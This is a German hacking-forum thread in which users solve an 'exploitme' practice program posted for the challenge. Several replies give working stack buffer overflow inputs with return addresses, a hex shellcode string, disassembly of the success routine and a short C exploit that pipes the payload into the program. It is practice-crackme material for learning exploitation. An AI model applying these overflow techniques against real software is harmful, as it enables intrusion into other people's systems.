| Hacks & Crackmes Tests, Fragen oder Hilfestellungen. Crackmes und Hackits werden hier diskutiert. |
Diskussion: exploitme #1 im Forum Hacks & Crackmes, in der Kategorie Software Home; Anzeige So, habe mich auch mal daran gewagt ein Exploitme zu Schreiben. Regeln: -kein Patchen (es dürfen keine Veränderungen am ...
![]() |
| | #1 (permalink) |
| Registriert seit: 08.03.07 ![]() Likes: 1 | Anzeige So, habe mich auch mal daran gewagt ein Exploitme zu Schreiben. Regeln: -kein Patchen (es dürfen keine Veränderungen am Programm vorgenommen werden) -Die Erfolgsmeldung soll nur mithilfe der Tastatur aufgerufen werden Viel Erfolg... |
| | |
| | #2 (permalink) |
| Registriert seit: 31.07.05 ![]() Likes: 0 | Code: _grafix_xxxxxxxxxxxxxxxxxxxx;‼@ Nachdem die Maximallänge des Puffers bekannt ist (ausprobieren bis wann das Programm fehlerfrei läuft), muss nur noch die gewünschte Sprungadresse angefügt werden. EDIT: Die Anzeige des vorletzten Bytes scheint hier nicht hinzuhauen. Denkt euch ein ALT+NUM19. |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Registriert seit: 15.09.07 ![]() Likes: 0 | Ich hätte noch eine Alternativlösung zu bieten: Angenommen die Funktion um den String aufzurufen wäre nicht bereits im Programm vorhanden, dann Könnte man trotzdem noch mit diesem String ans Ziel kommen: (Hexcode) Code: 68 21 24 51 11 26 81 2c 24 11 11 11 11 b8 f1 3b 51 11 2d 01 11 11 11 ff d0 90 90 41 58 ff 22 Tom |
| | |
| | #4 (permalink) | |
| Registriert seit: 27.07.07 ![]() Likes: 0 | Zitat:
Die Adresse mit der Erfolgsmeldung ist die 0040132C 2C 13 40 00 als Bytes ; !! @ /0 Als A-C-zwei-I Nur ist dabei auch zu beachten, das an vermeintlicher Adresse noch gecheckt wird ob das 2.Argument (ESP+8 ) 5 ist -> Sonst no_Welcome ![]() 0040132C PUSH EBP 0040132D MOV EBP, ESP 0040132F SUB ESP, 8 00401332 CMP [DWORD EBP+8], 5 00401336 JNZ SHORT <NoWelcome> 00401338 SUB ESP, 0C 0040133B PUSH 00401310 ; ASCII "Herzlichen Glueckwunsch!!!" 00401340 CALL <JMP.&msvcrt.printf> 00401345 ADD ESP, 10 00401348 <NoWelcome> CALL <JMP.&msvcrt.getchar> 0040134D SUB ESP, 0C 00401350 PUSH 0 00401352 CALL <JMP.&msvcrt.exit> Daher beim 'Ret'urn besser mit 00401338 am 'Türsteher' vorbei springen. also nicht ';' sondern '8' Code: 11111111222222223333333344448<ALT+NUM19>@ ![]() Ein Stackegg ist natürlich auch eine Lösung so al la: 6A 05 PUSH 5 6A 05 PUSH 5 68 2C134000 PUSH 0040132C C3 RETN ... dann ist die Fün'in'f ganz legitim auf der 'Rolle' und alles geht glatt. Doch ups ..00 PUSH... Das geht soo nicht. Die 00 würde den String abschneiden. Da muss man mit drum rum p... ach nee so macht das keinen Spass, das mit den Stapelüberläufen ist ja wirklich eine elende Frimmelei und auch schon der Aufruf dieses Ei's ... mittels 'absoluter!!!' Stackadresse <aaghhrr> als Lieberhaber für 'wohlgeformten' , schlichtem, einfachen und soliden Kodes ist das wirklich arg.Die Phase, wo man sich selbst mit Begeisterung für supergenialen ProgrammierTricks schließlich selbst ausgetrickst d.h. selber nicht mehr durchblickt, was man da fabriziert hat, ist da bei mit im Moment ganz schwach. | |
| | |
| | #5 (permalink) |
| gesperrt Registriert seit: 22.10.07 ![]() Likes: 0 | wow ich hoffe ich werde das auch bald so gut beherschen wie ihr ! das ist ja der Hammer ! |
| | |
| | #6 (permalink) |
| gesperrt | POOOOOOOOOH was seit denn ihr für freaks ich hab nichts verstanden ![]() also wie geht das nochmal ... wie baut man ein exploid und was üfr einen exploid hast du gemacht äh ja ... bitte kann mir das jemand erklären ich interessiere mich für solche sachen. ps: welche sprache ist das?^^ und mit welchem programm hast du das gemacht ?( |
| | |
| | #7 (permalink) |
| Registriert seit: 15.10.06 ![]() Likes: 0 | Also ... - warscheinlich ist das Programm in C, Assembler geschrieben. - zum bauen eines solchen Exploits/ Exploitme muss man wissen, was ein Bufferoverflow ist und warum er entsteht. guck dazu auf Wikipedia: http://de.wikipedia.org/wiki/Puffer%C3%BCberlauf ( Englische Version finde ich besser ) - um die Lücke auszunutzen, versucht man durch viele Zeichen den Puffer grade nicht überlaufen zu lassenüberlaufen zu lassen.(also mit 111111112222222233333333444488 würde das Programm abstürzen.) In unserm Beispiel bei: 11111111222222223333333344448 stürzt es grade nicht ab. Nun nimmt man einen Deassemblierer z.B. OLLYDBG und verfolgt das Programm und sucht die Funktion in Assembler, die die Erfolgsnachricht ausgibt. ( Adresse: 0040132C ) Jetzt, kann man mit ;&adresseinasci@ die Funktion aufrufen. ( steht aber auch alles auf Wikipedia ) zusammen ergibt das: 11111111222222223333333344448<ALT+NUM19>@ wobei alt num 19 für ‼ steht. probiers paar mal, dann bekommst das auch hin. Ist sowiso eine Friemelei MFG -=HKA=- PS das heißt exploit |
| | |
| | #8 (permalink) |
| Registriert seit: 31.07.05 ![]() Likes: 0 | Ich glaube kaum, dass man mit einer Step-by-Step Anleitung Spass an der Sache haben kann. Wenn jemand schon sagt, dass er uns für Freaks hält, wird er nicht wirklich an den Hintergründen interessiert zu sein. |
| | |
| | #10 (permalink) |
| gesperrt | hmm was bist du von beruf? ich meine das ganze lernt man doch nicht einfach so von selber ?( |
| | |
| | #11 (permalink) |
| Moderator ![]() Registriert seit: 20.07.05 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 202 | [OT]Genau das bekommt man nicht in einem Beruf beigebracht. Aber wenn man sich paar Monate mit dem Thema beschäftigt, sieht vieles auch nicht mehr nach Hexerei aus
__________________ Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf! Selig, wer nichts zu sagen hat und trotzdem schweigt. |
| | |
| | #12 (permalink) | |
| gesperrt | Zitat:
![]() noch nie zuvor gehört ![]() aso sorry wenn ich manchmal ein bisschen noobfragen stelle typische anfänger | |
| | |
| | #13 (permalink) |
| Registriert seit: 22.10.08 ![]() Likes: 0 | schade, dass es schon so lange her ist, seit dem hier ein exploitme aufgetaucht ist, ich hab auchmal gelöst und ein exploit dazu gebastelt: Code: #include <windows.h>
int main(int argc, char *argv[]) {
char exploit[500];
char ret[] = "\x13\x40";
char overflow[] = "echo AAAABBBBCCCCDDDDEEEEFFFFGGGG8";
strcpy(exploit, overflow);
strcat(exploit, ret);
strcat(exploit, "| exploitme.exe");
system(exploit);
return 0;
} würde mich freuen wenn ich hier öfters exploitme's sehen könnte mfg |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Einfaches ExploitMe | Grafix | Hacks & Crackmes | 8 | 08.05.07 19:38 |
| [exploitme] 1337-Cr3w | th3B0d | Hacks & Crackmes | 4 | 04.05.07 21:16 |
| ExploitMe-Contest | CDW | Hacks & Crackmes | 8 | 05.06.06 23:47 |